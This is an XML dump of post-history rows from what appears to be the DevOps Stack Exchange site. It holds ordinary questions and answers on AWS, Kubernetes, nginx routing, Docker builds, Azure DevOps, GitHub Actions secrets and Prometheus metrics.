  <row Id="39228" PostHistoryTypeId="2" PostId="12788" RevisionGUID="355b5087-d24a-4193-ba4b-86b742048a1d" CreationDate="2020-11-18T09:17:44.083" UserId="8800" Text="The service can be *always-on* listening on the queue for jobs, or *single-job* started by the queue only when new work arrives. &#xA;&#xA;The tradeoff is *startup time* for single-jobs vs *cost* for always-on service. &#xA;&#xA;Define the requirements - number of jobs per day, max latency, ram/cpu needed, etc and then select the right technology that can deliver it in the most cost effective way. &#xA;&#xA;From AWS Lambda, AWS Step Functions, through K8S Jobs and AWS Fargate to AWS EC2 on spot pricing, and more. Plenty of options, depends on the requirements. &#xA;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39229" PostHistoryTypeId="5" PostId="11727" RevisionGUID="434fbf77-9ea6-45f0-bab2-2130e0bca502" CreationDate="2020-11-18T09:42:30.413" UserId="20101" Comment="added 348 characters in body" Text="This is actually pretty well described in the [docs][1].&#xD;&#xA;&#xD;&#xA;&gt; Before you create worker nodes, you must create an IAM role with the&#xD;&#xA;&gt; following IAM policies:&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEKSWorkerNodePolicy&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEKS_CNI_Policy&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEC2ContainerRegistryReadOnly&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also you need to make sure that this role could be assumed by EKS.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Principal&quot;: {&#xD;&#xA;            &quot;Service&quot;: &quot;ec2.amazonaws.com&quot;&#xD;&#xA;          },&#xD;&#xA;          &quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;On the time of answering this question, AWS  was not providing a Managed Node Group, there the policies are encapsulated for you in a role coming with the Node Group by default.&#xD;&#xA;&#xD;&#xA;[https://docs.aws.amazon.com/eks/latest/userguide/managed-node-groups.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/eks/latest/userguide/worker_node_IAM_role.html&#xD;&#xA;  [2]: http://ttps://docs.aws.amazon.com/eks/latest/userguide/managed-node-groups.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39233" PostHistoryTypeId="2" PostId="12790" RevisionGUID="b7e72ded-9cc2-453b-89b0-7f4c21714096" CreationDate="2020-11-18T10:45:23.037" UserId="20101" Text="You need to provide more information about the technology stack.&#xD;&#xA;&#xD;&#xA;In a nutshell, you would mix the responsibilities of the host, taking care for the gitlab runnner + credential store is not a good design practice. If the host goes down, you are loosing 2 essential services, instead of just one. Most likely you would have other consumers of the store. Also this is breaking the single responsibility principle.&#xD;&#xA;&#xD;&#xA;I could tell you from own experience is that we use 'AWS Parameter store' for that  ( H/A and detached service ). The secrets are consumed by a helm chart - [https://github.com/cmattoon/aws-ssm][1] and injected into the cluster as configurations. After that each interested party could use whatever it wants. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cmattoon/aws-ssm&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39234" PostHistoryTypeId="2" PostId="12791" RevisionGUID="98beeee5-c0d6-4456-9be6-96ca062529b7" CreationDate="2020-11-18T11:07:48.813" UserId="20101" Text="The image acts as a foundation for each container that you start from it.&#xD;&#xA;&#xD;&#xA;You might do the update in your 'fashion' way, but containers are ephemeral - let's say it got restarted, you updates are lost and you are back to the previous version.&#xD;&#xA;&#xD;&#xA;If you want to handle this process by yourself, how would you track your versions ? Essentially you would have a root docker image and after that it would be so hard to know which version is currently running ? Could you also safely roll-back version to version ? How about if somebody hijacks you container, due to some Unix Socket permissions with the Docker daemon ... &#xD;&#xA;&#xD;&#xA;What I am trying to say, do not rediscover the wheel :)&#xD;&#xA;&#xD;&#xA;Take advantage of modern technologies like Kubernetes, deploy each image for a new version there, you have a roll - out deployment, readiness probes and so on ... You would be safe that your software is always working, track the versions and have H/A.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39235" PostHistoryTypeId="2" PostId="12792" RevisionGUID="643231cb-e7de-4f22-8e6a-e9efec9c2df0" CreationDate="2020-11-18T14:16:29.040" UserId="24792" Text="We have a project in Azure devops where we usually create PBIS and break them down to tasks.&#xD;&#xA;Each task is assigned to a Person at the beginning of a sprint. &#xD;&#xA;&#xD;&#xA;When looking at the &quot;work details&quot; pane inside a sprint, you can see the amount of hours assigned per person.&#xD;&#xA;&#xD;&#xA;Let's consider this scenario:&#xD;&#xA;Person A has 5 tasks. Each task is estimated to 2 hours.&#xD;&#xA;Person B has 5 tasks. Each task is estimated to 2 hours.&#xD;&#xA;&#xD;&#xA;Person A needs help from Person B on one of the tasks. &#xD;&#xA;Person B helps Person A, they are now done and complete the task in devops.&#xD;&#xA;They fill 4 hours on completed work instead of 2 since they were 2 people working ont he task.&#xD;&#xA;&#xD;&#xA;Now from a statistics view, those 2 extra hours are now connected to Person A, and it looks like if it was Person A that put those hours. &#xD;&#xA;&#xD;&#xA;What would be the best way to handle situations like this?&#xD;&#xA;Or better yet, how to collaborate on tasks in Devops without messing up the hours?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39236" PostHistoryTypeId="1" PostId="12792" RevisionGUID="643231cb-e7de-4f22-8e6a-e9efec9c2df0" CreationDate="2020-11-18T14:16:29.040" UserId="24792" Text="Multiple assignees on the same task in Azure Devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="39237" PostHistoryTypeId="3" PostId="12792" RevisionGUID="643231cb-e7de-4f22-8e6a-e9efec9c2df0" CreationDate="2020-11-18T14:16:29.040" UserId="24792" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39238" PostHistoryTypeId="2" PostId="12793" RevisionGUID="acd9cf1e-1bf1-48d8-94b1-efc93efc5c2f" CreationDate="2020-11-18T17:26:45.263" UserId="24600" Text="I like to start an open-source project via Github where topics (markdown pages) can be created from the community. Via PR the changes get merged to the main repo and then it triggers a Github Action workflow. Inside this workflow, the markdown input gets processed to static HTML pages which should later get deployed to an Nginx web server.&#xD;&#xA;&#xD;&#xA;The current (prototyped) deployment is done via [SCP for GitHub Actions](https://github.com/marketplace/actions/scp-files) and [SSH for GitHub Actions](https://github.com/marketplace/actions/ssh-remote-commands). For both actions, I have to provide the user and password inside the `workflow.yml` file.&#xD;&#xA;&#xD;&#xA;To make the project public I need another approach, where others cannot get the credentials.&#xD;&#xA;&#xD;&#xA;How can I realize my idea?&#xD;&#xA;&#xD;&#xA;Thanks in advance, Marko" ContentLicense="CC BY-SA 4.0" />
  <row Id="39239" PostHistoryTypeId="1" PostId="12793" RevisionGUID="acd9cf1e-1bf1-48d8-94b1-efc93efc5c2f" CreationDate="2020-11-18T17:26:45.263" UserId="24600" Text="How to deploy static website from public repo via Github Actions to private web server" ContentLicense="CC BY-SA 4.0" />
  <row Id="39240" PostHistoryTypeId="3" PostId="12793" RevisionGUID="acd9cf1e-1bf1-48d8-94b1-efc93efc5c2f" CreationDate="2020-11-18T17:26:45.263" UserId="24600" Text="&lt;deployment&gt;&lt;github&gt;&lt;nginx&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39241" PostHistoryTypeId="2" PostId="12794" RevisionGUID="349fb890-d05e-45fb-b390-ff7a22bd27cc" CreationDate="2020-11-18T17:51:30.817" UserId="24782" Text="The issue was that the `E:` drive was formatted with `exFAT` partition. After I formatted it to `NTFS` it started to work." ContentLicense="CC BY-SA 4.0" />
  <row Id="39242" PostHistoryTypeId="4" PostId="12786" RevisionGUID="c9ed4036-01cc-4c61-83fc-d1081e27b93d" CreationDate="2020-11-18T17:52:46.880" UserId="24782" Comment="edited title" Text="Can't change Windows Docker storage location (The parameter is incorrect)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39243" PostHistoryTypeId="2" PostId="12795" RevisionGUID="ed44bef8-c411-491b-ac54-8406381f4b7a" CreationDate="2020-11-18T19:07:05.363" UserId="24600" Text="By coincidence, I have found a possible solution via [Github Secrets](https://www.edwardthomson.com/blog/github_actions_11_secrets.html)." ContentLicense="CC BY-SA 4.0" />
  <row Id="39244" PostHistoryTypeId="2" PostId="12796" RevisionGUID="fecf006a-620a-4972-96d1-db46978b8b05" CreationDate="2020-11-18T20:41:54.180" UserId="20204" Text="I have a kustomize base that I'd like to re-use without editing it. Unfortunately, it creates a namespace I don't want to create. I'd like to simply remove that resource from consideration when compiling the manifests and add a resource for mine since I can't patch a namespace to change the name.&#xD;&#xA;&#xD;&#xA;How can this be done? " ContentLicense="CC BY-SA 4.0" />
  <row Id="39245" PostHistoryTypeId="1" PostId="12796" RevisionGUID="fecf006a-620a-4972-96d1-db46978b8b05" CreationDate="2020-11-18T20:41:54.180" UserId="20204" Text="Remove resource from Kustomize base?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39246" PostHistoryTypeId="3" PostId="12796" RevisionGUID="fecf006a-620a-4972-96d1-db46978b8b05" CreationDate="2020-11-18T20:41:54.180" UserId="20204" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39249" PostHistoryTypeId="2" PostId="12798" RevisionGUID="768e0eae-7f6b-4e35-a09c-537b32415423" CreationDate="2020-11-19T07:44:23.793" UserId="13145" Text="I am using the react for the frontend. I have a code which runs on port 3000.&#xD;&#xA;&#xD;&#xA;Under that admin panel code is also there which I need to move to out of the project and run separately on different port let's say 3001.&#xD;&#xA;So on nginx config file&#xD;&#xA;I have created the location for both the project like this&#xD;&#xA;```&#xD;&#xA;Under server block&#xD;&#xA;location /admin/ {&#xD;&#xA;            proxy_pass http://127.0.0.1:3001;&#xD;&#xA;            &#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;location / {&#xD;&#xA;            proxy_pass http://127.0.0.1:3000;&#xD;&#xA;            proxy_http_version 1.1;&#xD;&#xA;            proxy_set_header Upgrade $http_upgrade;&#xD;&#xA;            proxy_set_header Connection 'upgrade';&#xD;&#xA;            proxy_set_header Host $host;&#xD;&#xA;            proxy_cache_bypass $http_upgrade;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;By this way  when I open the localhost, my code is running properly.&#xD;&#xA;&#xD;&#xA;Now if I type localhost/admin/ then it return 404.&#xD;&#xA;&#xD;&#xA;For the nginx route confirmation, I have change the title of admin panel index.html so that it is clearly mentioned that whether my routes of nginx are working or not&#xD;&#xA;So after this when I hit the admin url then through inspect element I saw that title are changed but due to routes issue of main server it return 404.&#xD;&#xA;&#xD;&#xA;I also wrote the alert hello world under index.html file of admin panel code so that it alert will generate when admin code is rendered.&#xD;&#xA;&#xD;&#xA;After this when I Open the localhost/admin then alert will generate and then when I close the alert modal then page redirected to 404. I don't know why main code is overriding here.&#xD;&#xA;&#xD;&#xA;What it seems like it pick the both the route at same time. So after hit the admin url instant index.html page is load and then routes load from 3000 port project instead of 3001. On 3000 port project there is no such route like this hence it return 404.&#xD;&#xA;&#xD;&#xA;Anyone have any idea how to tackle this type of Issues.&#xD;&#xA;&#xD;&#xA;Both project are running fine if run individually through the port number like localhost:3000/ or localhost:3001/admin/&#xD;&#xA;&#xD;&#xA;Please suggest me that whether there is an issue from nginx side or from react side.&#xD;&#xA;&#xD;&#xA;Any help or suggestion is really appreciated. Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="39250" PostHistoryTypeId="1" PostId="12798" RevisionGUID="768e0eae-7f6b-4e35-a09c-537b32415423" CreationDate="2020-11-19T07:44:23.793" UserId="13145" Text="How to run two react project through nginx on same machine" ContentLicense="CC BY-SA 4.0" />
  <row Id="39251" PostHistoryTypeId="3" PostId="12798" RevisionGUID="768e0eae-7f6b-4e35-a09c-537b32415423" CreationDate="2020-11-19T07:44:23.793" UserId="13145" Text="&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39252" PostHistoryTypeId="2" PostId="12799" RevisionGUID="d1e6f3f5-ac80-4ed1-874f-0bc02708516b" CreationDate="2020-11-19T08:14:42.543" UserId="24706" Text="Try to stop the react applications and see if the message changes - and tbh i think you should see 502 if nginx was not routing properly" ContentLicense="CC BY-SA 4.0" />
  <row Id="39253" PostHistoryTypeId="2" PostId="12800" RevisionGUID="5028487f-017b-4de8-a546-40f8b52ce275" CreationDate="2020-11-19T09:10:03.717" UserId="6733" Text="Finally managed to generate the docker image for Angular. Here are is the screnshot.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I am listing the contents of the Docker File along with the comments that explain the reasoning and my learnings.&#xD;&#xA;&#xD;&#xA;    # Created by Sridhar Pandurangiah - 29 October 2020&#xD;&#xA;    # This Docker file helps create the containers for the Angular User Interface&#xD;&#xA;    #1 We would like to create from the node image and then add the layers. I had initially started from a base image and proceeded to add Ubuntu, it did not work out as creating a ubuntu from the base involves a lot of work and its rather baseless to start from a base image. Then switched to starting from the Ubuntu image and the problems I faced is documented in this question. So had to start from the node image. Also remember that docker containers have to address a single concern.&#xD;&#xA;    &#xD;&#xA;    FROM node:15.1.0 as ab-suite-image&#xD;&#xA;    &#xD;&#xA;    #Add Information about this image&#xD;&#xA;    LABEL maintainer=&quot;sridhar@st.in&quot;&#xD;&#xA;    LABEL version=&quot;1.0&quot;&#xD;&#xA;    LABEL decsription=&quot;This is a docker image built from the node image and includes angular9 and metronic theme&quot;&#xD;&#xA;    &#xD;&#xA;    #2 Add Angular and other peer dependencies that do not get installed by default to avoid the build from exiting with errors&#xD;&#xA;    RUN npm install -g @angular/cli@9.1.12 @angular/core @angular/common eslint chokidar jquery popper.js tslib --save&#xD;&#xA;    &#xD;&#xA;    # Set environment variables for file locations if required&#xD;&#xA;    &#xD;&#xA;    #3 Set the environment Variable to determine the environment where the application is deployed development | testing | staging | production&#xD;&#xA;    ENV AB_COMPLIANCE_ENV=development&#xD;&#xA;    &#xD;&#xA;    #4 Set the working directory to copy the angular dependencies&#xD;&#xA;    WORKDIR /opt/ng&#xD;&#xA;    &#xD;&#xA;    #5 We don't pull the code from GIT as it would mean storing the private ssh keys on a docker image that can be publicly accessed. This is is not advisable.&#xD;&#xA;    COPY package.json ./&#xD;&#xA;    &#xD;&#xA;    #6 Update project dependencies using package.json. This stage is where we encountered a lot of issues with build failing as the shell scripts were returing errors. the flag --legacy-peer-deps ensures that the npm doesn't throw errors so the docker build continues&#xD;&#xA;    RUN npm install --legacy-peer-deps&#xD;&#xA;    &#xD;&#xA;    #7 Copy all the other project files and build&#xD;&#xA;    COPY . ./&#xD;&#xA;    RUN ng build&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #8 Configure Volumes if required&#xD;&#xA;    &#xD;&#xA;    #9 Copy start Script if required&#xD;&#xA;    #COPY start.sh /start.sh&#xD;&#xA;    #CMD [&quot;./start.sh&quot;]&#xD;&#xA;    &#xD;&#xA;    #10 Expose Port for the application&#xD;&#xA;    EXPOSE 4200 443&#xD;&#xA;&#xD;&#xA;This docker image can be used to for running unit and E2E tests. &#xD;&#xA;&#xD;&#xA;Some literature on the web ask you to install nginx but not advisable. Run nginx on a seperate dedicated container. On production you can build the angular application with the &quot;prod&quot; flag and copy the files so that nginx can serve them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/C7SLR.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39257" PostHistoryTypeId="2" PostId="12802" RevisionGUID="9c8e87a7-4895-440d-a70f-4e47033c7548" CreationDate="2020-11-19T13:59:40.430" UserId="24801" Text="We're currently undergoing an audit of our Azure infrastructure. We have a single Application Gateway deployed in a subnet. I can see that in this subnet there are some additional addresses up (2 of them, they're consecutive) that have services running on port 443 and 8081.&#xD;&#xA;&#xD;&#xA;I know that Application Gateway reserves and configures additional addresses on the subnet but I can't find an explanation as to what they're running/used for. I also assume that they're not configurable at all by the end user...?&#xD;&#xA;&#xD;&#xA;If I attempt a reverse lookup on the addresses, the names are: &#xD;&#xA;&#xD;&#xA;vm000002.internal.cloudapp.net  &#xD;&#xA;vm000003.internal.cloudapp.net&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="39258" PostHistoryTypeId="1" PostId="12802" RevisionGUID="9c8e87a7-4895-440d-a70f-4e47033c7548" CreationDate="2020-11-19T13:59:40.430" UserId="24801" Text="Azure App Gateway additional internal addresses" ContentLicense="CC BY-SA 4.0" />
  <row Id="39259" PostHistoryTypeId="3" PostId="12802" RevisionGUID="9c8e87a7-4895-440d-a70f-4e47033c7548" CreationDate="2020-11-19T13:59:40.430" UserId="24801" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39261" PostHistoryTypeId="50" PostId="12597" RevisionGUID="4f26c435-c6d2-4992-abb0-9e518000ed03" CreationDate="2020-11-19T16:01:00.183" UserId="-1" />
  <row Id="39263" PostHistoryTypeId="5" PostId="12793" RevisionGUID="e047a63f-5e8e-4d8c-af67-830f0e92f2e2" CreationDate="2020-11-19T17:05:36.750" UserId="20048" Comment="Removed &quot;thanks&quot;, modified tags" Text="I like to start an open-source project via Github where topics (markdown pages) can be created from the community. Via PR the changes get merged to the main repo and then it triggers a Github Action workflow. Inside this workflow, the markdown input gets processed to static HTML pages which should later get deployed to an Nginx web server.&#xD;&#xA;&#xD;&#xA;The current (prototyped) deployment is done via [SCP for GitHub Actions](https://github.com/marketplace/actions/scp-files) and [SSH for GitHub Actions](https://github.com/marketplace/actions/ssh-remote-commands). For both actions, I have to provide the user and password inside the `workflow.yml` file.&#xD;&#xA;&#xD;&#xA;To make the project public I need another approach, where others cannot get the credentials.&#xD;&#xA;&#xD;&#xA;How can I realize my idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39264" PostHistoryTypeId="6" PostId="12793" RevisionGUID="e047a63f-5e8e-4d8c-af67-830f0e92f2e2" CreationDate="2020-11-19T17:05:36.750" UserId="20048" Comment="Removed &quot;thanks&quot;, modified tags" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;github&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39265" PostHistoryTypeId="24" PostId="12793" RevisionGUID="e047a63f-5e8e-4d8c-af67-830f0e92f2e2" CreationDate="2020-11-19T17:05:36.750" Comment="Proposed by 20048 approved by 40 edit id of 1297" ContentLicense="CC BY-SA 4.0" />
  <row Id="39266" PostHistoryTypeId="2" PostId="12803" RevisionGUID="a4dfa331-39d5-4a55-97d7-f6b5a51eca60" CreationDate="2020-11-19T18:28:36.473" UserId="24521" Text="We're looking for guidance on how to structure application code versus infrastructure code (IaC). More specifically, are there typical advantages/disadvantages to storing the two types of code in the same repository versus in different repositories?&#xD;&#xA;&#xD;&#xA;A bit more background: We're on the journey to improve our ability to deliver systems more effectively. At the moment, we have application code in one repository and infrastructure code in a separate repository. We've newly begun having the app team change app-level infrastructure code. With that separation of repos, keeping the changes in sync introduces overhead. We think that bringing in the app-specific infrastructure code into the app repository would be advantageous.&#xD;&#xA;&#xD;&#xA;Primarily, we're looking for info that helps to answer the question of which is the more effective option, one repo or two.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39267" PostHistoryTypeId="1" PostId="12803" RevisionGUID="a4dfa331-39d5-4a55-97d7-f6b5a51eca60" CreationDate="2020-11-19T18:28:36.473" UserId="24521" Text="Best practices for app and infrastructure code repositories" ContentLicense="CC BY-SA 4.0" />
  <row Id="39268" PostHistoryTypeId="3" PostId="12803" RevisionGUID="a4dfa331-39d5-4a55-97d7-f6b5a51eca60" CreationDate="2020-11-19T18:28:36.473" UserId="24521" Text="&lt;infrastructure-as-code&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39271" PostHistoryTypeId="2" PostId="12805" RevisionGUID="83a050ec-68f5-4d0d-8d6a-9fd95e20f69c" CreationDate="2020-11-19T19:58:36.400" UserId="24806" Text="I am completely new to Visual Studio, .net and Azure DevOps&#xD;&#xA;&#xD;&#xA;I have a problem with GIT using the GIT bits (rather than CMD), in Visual Studio&#xD;&#xA;&#xD;&#xA;I have a .Net application (Umbraco), that has been built and runs fine. I built a CI pipeline in the Azure Deployment blade for my Azure web App. All works fine.&#xD;&#xA;&#xD;&#xA;When I go to Azure DevOps I can see this pipeline and it is called myappname -CI&#xD;&#xA;&#xD;&#xA;If I add a test file locally to my Repo, file &gt;new file &gt; test.txt and save it, it appears as a change in the GIT explorer on the right-hand side. I can then click the &quot;push&quot; blue arrow and off it goes, no errors and appears in my DevOps repo. great! but the problem seems to be that the whole lot syncs, I mean the whole application which then starts off the installation set up of Umbraco. Its odd, its almost as if one small change to the code, fires the DevOps pipeline and pushes the whole application to Azure.&#xD;&#xA;&#xD;&#xA;Is this something to do with the CI (continuous Integration), bit of DevOps pipelines?&#xD;&#xA;&#xD;&#xA;I am totally sure that all I am sending from VS is one file to my Azure DevOps repo. It then fires and overwrites the whole application. Which of course I do not want to happen, just want to make small dev changes to files, add files and send them to DevOps&#xD;&#xA;&#xD;&#xA;Just too add to the confusion, if I FTP in to the application I seem to have a whole different set of files, which suggests its is being built as well&#xD;&#xA;&#xD;&#xA;Newbie alert" ContentLicense="CC BY-SA 4.0" />
  <row Id="39272" PostHistoryTypeId="1" PostId="12805" RevisionGUID="83a050ec-68f5-4d0d-8d6a-9fd95e20f69c" CreationDate="2020-11-19T19:58:36.400" UserId="24806" Text="Azure DevOps issue with GIT, Visual Studio and Azure (Umbraco)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39273" PostHistoryTypeId="3" PostId="12805" RevisionGUID="83a050ec-68f5-4d0d-8d6a-9fd95e20f69c" CreationDate="2020-11-19T19:58:36.400" UserId="24806" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39274" PostHistoryTypeId="12" PostId="12783" RevisionGUID="55a1211c-91c6-4d4f-aa41-528ecd44dcdb" CreationDate="2020-11-20T09:25:15.560" UserId="24571" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:24571,&quot;DisplayName&quot;:&quot;aboitier&quot;}]}" />
  <row Id="39275" PostHistoryTypeId="12" PostId="12782" RevisionGUID="7729d571-cecf-462b-8cd0-b056d76aca2f" CreationDate="2020-11-20T09:25:34.680" UserId="24571" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:24571,&quot;DisplayName&quot;:&quot;aboitier&quot;}]}" />
  <row Id="39276" PostHistoryTypeId="13" PostId="12782" RevisionGUID="33e8ad92-e5b2-4bdd-9428-e3f9d31e6982" CreationDate="2020-11-20T09:25:55.557" UserId="24571" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:24571,&quot;DisplayName&quot;:&quot;aboitier&quot;}]}" />
  <row Id="39277" PostHistoryTypeId="13" PostId="12783" RevisionGUID="b9ace88e-e019-49b4-9148-53bf0d67bbcb" CreationDate="2020-11-20T09:26:02.480" UserId="24571" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:24571,&quot;DisplayName&quot;:&quot;aboitier&quot;}]}" />
  <row Id="39278" PostHistoryTypeId="50" PostId="10453" RevisionGUID="7277a802-2808-48ba-8540-fa4bd8e1fa51" CreationDate="2020-11-20T10:03:40.350" UserId="-1" />
  <row Id="39279" PostHistoryTypeId="2" PostId="12806" RevisionGUID="af956f7e-9d3e-4cba-bc6a-9a5aecf71ce8" CreationDate="2020-11-20T11:19:06.277" UserId="24583" Text="How can we configure Azure DevOps for PaaS offering of Azure PostgreSQL Database Please help.&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="39280" PostHistoryTypeId="1" PostId="12806" RevisionGUID="af956f7e-9d3e-4cba-bc6a-9a5aecf71ce8" CreationDate="2020-11-20T11:19:06.277" UserId="24583" Text="Azure DevOps for Azure PostgreSQL" ContentLicense="CC BY-SA 4.0" />
  <row Id="39281" PostHistoryTypeId="3" PostId="12806" RevisionGUID="af956f7e-9d3e-4cba-bc6a-9a5aecf71ce8" CreationDate="2020-11-20T11:19:06.277" UserId="24583" Text="&lt;azure&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39282" PostHistoryTypeId="5" PostId="11727" RevisionGUID="d6cc5ede-abfc-4004-b631-1c78ed359134" CreationDate="2020-11-20T12:41:43.530" UserId="20101" Comment="deleted 445 characters in body" Text="This is actually pretty well described in the docs.&#xD;&#xA;&#xD;&#xA;&gt; Before you create worker nodes, you must create an IAM role with the&#xD;&#xA;&gt; following IAM policies:&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEKSWorkerNodePolicy&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEKS_CNI_Policy&#xD;&#xA;&gt; &#xD;&#xA;&gt; AmazonEC2ContainerRegistryReadOnly&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also you need to make sure that this role could be assumed by EKS.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Principal&quot;: {&#xD;&#xA;            &quot;Service&quot;: &quot;ec2.amazonaws.com&quot;&#xD;&#xA;          },&#xD;&#xA;          &quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39283" PostHistoryTypeId="2" PostId="12807" RevisionGUID="2629d011-fba1-4c70-b925-04d5508f1029" CreationDate="2020-11-20T13:27:58.820" UserId="24824" Text="We're a small SaaS startup (~10 person team; mostly engineers).&#xD;&#xA;&#xD;&#xA;We use Postgres on AWS and GCP in production.&#xD;&#xA;&#xD;&#xA;We have signed contracts with some customers that prohibit us from giving full production access to developers (to avoid security concerns). I think this is a good thing.&#xD;&#xA;&#xD;&#xA;However, every now and then our backend team needs access to the database to analyze data, table records, and see how things are working.&#xD;&#xA;&#xD;&#xA;What are some recommended best practices for this?&#xD;&#xA;&#xD;&#xA;At some larger companies, they have internal tooling that gives developers access to a middleman CLI through which they can run SQL queries. This middleman logs these for auditing purposes." ContentLicense="CC BY-SA 4.0" />
  <row Id="39284" PostHistoryTypeId="1" PostId="12807" RevisionGUID="2629d011-fba1-4c70-b925-04d5508f1029" CreationDate="2020-11-20T13:27:58.820" UserId="24824" Text="What are the best practices for sharing production Postgres access with developers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39285" PostHistoryTypeId="3" PostId="12807" RevisionGUID="2629d011-fba1-4c70-b925-04d5508f1029" CreationDate="2020-11-20T13:27:58.820" UserId="24824" Text="&lt;security&gt;&lt;permissions&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39286" PostHistoryTypeId="2" PostId="12808" RevisionGUID="a6cbf0f1-f347-41d6-8160-6934ea4ca401" CreationDate="2020-11-20T14:26:51.513" UserId="24826" Text="### Context&#xD;&#xA;&#xD;&#xA;I am trying to chart the network bandwidth usage of a node in 2 different manners:&#xD;&#xA;&#xD;&#xA; 1. By looking at global metrics for that node&#xD;&#xA; 2. By summing up the corresponding metric for each Pod&#xD;&#xA;&#xD;&#xA;To achieve this, I am issuing the following Prometheus queries (_example for the receive bandwidth_):&#xD;&#xA;&#xD;&#xA;* For the entire node&#xD;&#xA;&#xD;&#xA;    ```promql&#xD;&#xA;    sum(irate(node_network_receive_bytes_total{instance=&quot;10.142.0.54:9100&quot;}[$__rate_interval])) by (device)&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;* Per Pod&#xD;&#xA;&#xD;&#xA;    ```promql&#xD;&#xA;    sum(irate(container_network_receive_bytes_total{node=&quot;$node&quot;,container!=&quot;&quot;}[$__rate_interval])) by (pod,interface)&#xD;&#xA;    ```&#xD;&#xA;&#xD;&#xA;The results are displayed in the following Grafana dashboard, after generating some load on a HTTP service called `thrpt-receiver`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Receive bandwidth][1]][1]&#xD;&#xA;&#xD;&#xA;### Problem&#xD;&#xA;&#xD;&#xA;As you can see, results are vastly different, to the point I'm almost certain I am doing something wrong, but what?&#xD;&#xA;&#xD;&#xA;What makes me especially suspicious about the Pod metrics is the supposedly increasing received bandwidth of kube-proxy (which AFAIK is not supposed to be receiving any traffic in iptables mode), and agents such as the Prometheus node-exporter, etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/sZtI5.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39287" PostHistoryTypeId="1" PostId="12808" RevisionGUID="a6cbf0f1-f347-41d6-8160-6934ea4ca401" CreationDate="2020-11-20T14:26:51.513" UserId="24826" Text="Node-centric network metrics are very different from the sum of metrics of the Pods running on that node" ContentLicense="CC BY-SA 4.0" />
